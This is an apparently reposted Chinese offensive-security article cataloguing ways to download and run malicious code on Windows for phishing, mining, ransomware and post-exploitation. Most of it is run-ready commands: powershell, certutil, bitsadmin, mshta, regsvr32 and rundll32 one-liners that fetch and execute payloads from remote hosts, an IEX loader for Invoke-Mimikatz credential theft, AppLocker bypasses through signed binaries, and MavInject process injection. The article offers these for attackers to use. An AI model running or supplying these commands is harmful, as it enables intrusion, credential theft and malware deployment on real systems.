Windows上传并执行恶意代码的N种姿势

简介在各种钓鱼、挖矿、勒索、组建僵尸网络、基础渗透、后渗透过程当中,攻击者都会通过一些方法去下载执行恶意代码并执行完成攻击操作,比如前段时间通过Office DDE执行powershell的,利用宏执行VBS的,绕过权限限制完成危险命令执行的等等,都需要用到文件下载/上传姿势,一般说按照途径可以分为:通过HTTP、FTP URL进行传输类通过UNC进行传输类通过磁盘写入类而payload执行则具体可以分为有文件类无文件类,具体分的话就是内存执行、本地缓存、磁盘文件下面我们会总结一些下载和执行的方法,其中也大量包含一些AppLocker ByPass技术和dll注入技术,部分也可以用于后门创建,大家可以根据不同的环境和场景选择使用,当然我会不断地收集各种姿势来更新本文以求更为全面。

下载方法Powershellpowershell是最著名的一种方法了,一般的文件下载命令如下

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://formsec.cn/test.exe','C:\test.exe')powershell (Invoke-WebRequest http://formsec.cn/test.jpg -O test.jpg)

当然也可以从UVC读取

powershell-execbypass-f\\webdavserver\folder\payload.ps1

CScript/WScript首先就是执行UNC路径下的文件

cscript//E:jscript\\webdavserver\folder\payload.txt

其次就是通过echo写入vbs脚本,再通过cscript来执行

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open ^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> c:\windows\temp\d.vbs C:\Users\Administrator>cscript c:\d.vbs http://formsec.cn/443.exe c:\443.exe

Bitsadminbitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。不支持https、ftp协议

bitsadmin/TRANSFER/DOWNLOADhttp://download.sysinternals.com/files/PSTools.zipE:\PSTools.zip

bitsadmin/TRANSFER/DOWNLOAD\\webdavserver\folder\payload.ps1E:\payload.ps1

bitsadmin/TRANSFER/UPLOADE:\payload.ps1\\webdavserver\folder\payload.ps1

CertutilCertutil是一个命令行程序,它是作为证书服务的一部分安装的。可以使用Certutil转储并显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件,并验证证书、密钥对和证书链。

certutil -urlcache -split -f http://formsec.cn/payload payload

debugWindows debug 是一个系统自带的程序调试工具,他有一个功能可以将十六进制转化为可执行文件,所以我们的思路就是将需要上传的可执行文件转化成hex文件,通过echo命令写入目标系统中,最后通过debug将hex还原成可执行文件,这一部分具体步骤可参考我之前的一篇文章Link:http://reverse-tcp.xyz/2017/05/27/Some-Ways-To-Create-An-Interactive-Shell-On-Windows/FTPftp也是一种比较经典的方法,核心就是通过ftp -s:filename.txt去执行filename里边的ftp命令

echoopen192.168.1.12321>ftp.txt

echoftp>>ftp.txt

echobin>>ftp.txt

echoftp>>ftp.txt

echoGETssss2.exe>>ftp.txt

ftp-s:ftp.txt

CSCcsc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe当然思路还是将cs文件echo写入目标系统

echousingSystem.Net;classWebDL{staticvoidMain(string[]args){System.Net.WebClientclient=newWebClient();client.DownloadFile(args[],args[1]);}}>c:\windows\temp\dl.cs

然后调用csc.exe编译cs文件并执行

c:\windows\microsoft.net\framework\v3.5\csc /out:c:\windows\temp\dl.exe c:\windws\temp\dl.csc:\windows\temp\dl.exe http://formsec.cn/svhost.exe c:\windows\temp\svhost.exe

JScript以下就是一个js的downloader,和vbs的一样可以直接echo写入服务器执行

varObject = WScript.CreateObject("MSXML2.XMLHTTP");Object.open("GET","http://formsec.cn/test.exe",false);Object.send();if(Object.Status == 200)

也可以配合rundll32一句话完成下载

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://formsec.cn/test.exe",false);Object.send();if(Object.Status==200)

CURL/WGETWindows本身是没有curl和wget的,但是在一些其他软件当中会集成curl.exe,比如说Cmder当中,如果在渗透过程当中遇到了Cmder,那就完全可以通过curl来完成下载操作。执行方法Powershell对于某些无文件渗透场景,powershell可以直接加载到内存执行是很常见的

powershellIEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.c

om/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

powershell-execbypass-c"iwr https://gist.githubusercontent.com/Urahara3389/d83b6f9cce

df9aa53f70d987360dbc0e/raw/53ad790f87e0fd2c9449d5359358cd251c39297a/calc.ps1iex"

Get-Contentscript.ps1iex

SyncAppvPublishingServer除了powershell.exe外,win10以上系统可以使用SyncAppvPublishingServer.exe来执行powershell

SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('http://formsec.cn/script.ps1') IEX

Runscripthelperrunscripthelper.exe是在Windows 10 RS3中引入的,它所做的事情是从一个特定的目录读取PowerShell代码并执行这些代码。

runscripthelper.exesurfacecheck\\?\C:\Test\Microsoft\Diagnosis\scripts\test.txtC:\Test

Links:https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fchttp://www.4hou.com/technology/8999.htmlWMIC使用wmic创建进程执行程序

wmicprocesscallcreatecalc

Links:https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directoryPcaluaWindows程序兼容性助理(Program Compatibility Assistant)的一个组件,通过-a参数可以直接执行exe或者dll

C:\windows\system32\pcalua.exe-aC:\file.lnk

C:\windows\system32\pcalua.exe-anotepad.exe

C:\windows\system32\pcalua.exe-a\\server\payload.dll

Links:http://scz.617.cn/windows/201203151045.txtInstallUtilInstallUtil是.NET框架的一部分,允许用户通过命令提示快速安装和卸载应用程序

x86-C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe/logfile=/LogToConsole=false/UAllTheThings.dll

x64-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe/logfile=/LogToConsole=false/UAllTheThings.exe

当然可以结合其他命令使用,比如Certutil

certutil -urlcache -split -f http://formsec.cn/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

Links:https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/InstallUtil.mdRegsvcs/RegasmRegsvcs.exe(.NET 服务安装工具)、Regasm.exe(程序集注册工具)

x86C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exeAllTheThings.dll

x64C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exeAllTheThings.dll

x86C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe/UAllTheThings.dll

x64C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe/UAllTheThings.dll

Links:https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/RegSvcsRegAsmBypass.cshttps://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/RegsvcsRegasm.mdRegsvr32执行本地脚本

regsvr32.exe/s/u/i:file.sctscrobj.dll

加载远程脚本执行

regsvr32.exe /s /u /i:http://formsec.cn/file.sct scrobj.dllregsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Links:https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Regsvr32.mdRundll32rundll32就很熟悉了,主要用于在内存中运行dll文件,它们会在应用程序中被使用

rundll32 AllTheThings.dll,EntryPointrundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://formsec.cn/payload.sct");window.close();

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);trycatch(e)

Links:https://evi1cg.me/archives/AppLocker_Bypass_Techniques.htmlhttps://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Rundll32.mdWinword利用Office word 的/l参数来加载dll文件

winword.exe/ldllfile.dll

Cmstp通过安装一个VPN配置从Webdav加载DLL,可以参考以下链接

cmstp.exe/ni/sc:\cmstp\CorpVPN.inf

Links:https://msitpros.com/?p=3960https://www.anquanke.com/post/id/86685InfDefaultInstall和cmstp一样用于加载dll

[Version]

Signature=$CHICAGO$

[DefaultInstall]

UnregisterDlls = Squiblydoo

[Squiblydoo]

11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Minimalist.sct

MavInject32MavInject32.exe是微软应用程序虚拟化的一部分,可以直接完成向某一进程注入代码

"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe"/INJECTRUNNING

MSIExecmsiexec是一个可用于从命令行安装或配置产品的Microsoft程序。 如果环境配置不正确,使用.MSI文件可能允许攻击者执行特权升级或绕过AppLocker规则。

msiexec/quiet/icmd.msi

msiexec/q/ihttp://192.168.100.3/tmp/cmd.png

Links:https://pentestlab.blog/2017/06/16/applocker-bypass-msiexec/MshtaMsht具有执行内联脚本的能力,它将下载并执行一个脚本作为有效负载:

mshta vbscript:Close(Execute("GetObject(""script:http://formsec.cn/payload.sct"")"))

mshta接受URL作为一个参数来执行HTA

mshta http://formsec.cn/payload.htamshta \\webdavserver\folder\payload.hta

FSIfsi.exe用于在控制台中交互式地运行fcode,或者执行fscript。

fsi.exec:\folder\d.fscript

Links:https://twitter.com/NickTyrer/status/904273264385589248https://github.com/api0cradle/UltimateAppLockerByPassListTE如果安装了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名单的路径中,则可以使用它。 默认位置是:C:\program files(x86)\Windows Kits\10\testing\Runtimes\TAEFLinks:https://twitter.com/gN3mes1s/status/927680266390384640https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42Atbroker

ATBroker.exe/startmalware

Links:http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/Forfiles一个选择并对文件或文件集执行命令的工具。 此命令可用于批处理。

forfiles/pc:\windows\system32/mnotepad.exe/ccalc.exe

Odbcconf这个和regsvr32很类似。它可以执行一个显示特定函数的DLL。需要注意的是他不一定需要.dll的后缀名文件。

odbcconf/s/a{regsvr\\webdavserver\folder\payload_dll.txt}

odbcconf-ffile.rsp

MSDTMicrosofts Signed Binary Involved

Open.diagcabpackage

Links:https://cybersyndicates.com/2015/10/a-no-bull-guide-to-malicious-windows-trouble-shooting-packs-and-application-whitelist-bypass/BginfoBgInfo是一个Microsoft实用程序,它可以在桌面背景中直接显示计算机的系统信息。

bginfo.exebginfo.bgi/popup/nolicprompt

Links:https://pentestlab.blog/2017/06/05/applocker-bypass-bginfo/https://github.com/3gstudent/bgi-createrDNX.NET Execution Environment(DNX) 是一个SDK 和运行时环境,它包含所有的你需要创建和运行.net应用程序的组件。可以执行C#代码

dnx.execonsoleapp

Links:https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/CSI/RCSI和dnx一样csi和rcsi都可以执行C#代码,但csi是交互式的而rcsi不是。Links:https://web.archive.org/web/20161008143428/http://subt0x10.blogspot.com/2016/09/application-whitelisting-bypass-csiexe.htmlhttps://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/DFSVCdfsvc.exe是用来检查应用程序是否已经安装并且是最新的,如果需要的话将应用程序下载到用户AppData中的ClickOnce文件夹,然后从当前位置(随着每次更新而改变)启动它。NetSPI团队在之前有分析过利用ClickOnce这种方法在钓鱼当中的利用,但在渗透中还是需要一定的场景。

rundll32.exe dfshim.dll,ShOpenVerbApplication http://formsec.cn/application/?param1=foo

Links:MSXSL根据Microsoft的msxsl.exe命令行程序,用户能够使用Microsoft XSL处理器执行命令行可扩展样式表语言(XSL)。 但是,这个二进制文件可以用来执行恶意的JavaScript代码并绕过应用程序白名单保护。Links:https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/IEExecIEExec.exe也是.Net框架中的一个可执行文件,能够通过指定URL来运行托管在远程目标上的应用程序。

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe http://formsec.cn/bypass.exe

Links:https://pentestlab.blog/2017/06/13/applocker-bypass-ieexec/MSBuildMSBuild,它引入一种新的基于 XML 的项目文件格式,这种格式容易理解、易于扩展并且完全受 Microsoft 支持。MSBuild 项目文件的格式使开发人员能够充分描述哪些项需要生成,以及如何利用不同的平台和配置生成这些项。MSBuild 编译后生成的是.exe

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180113G0AF1Y00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券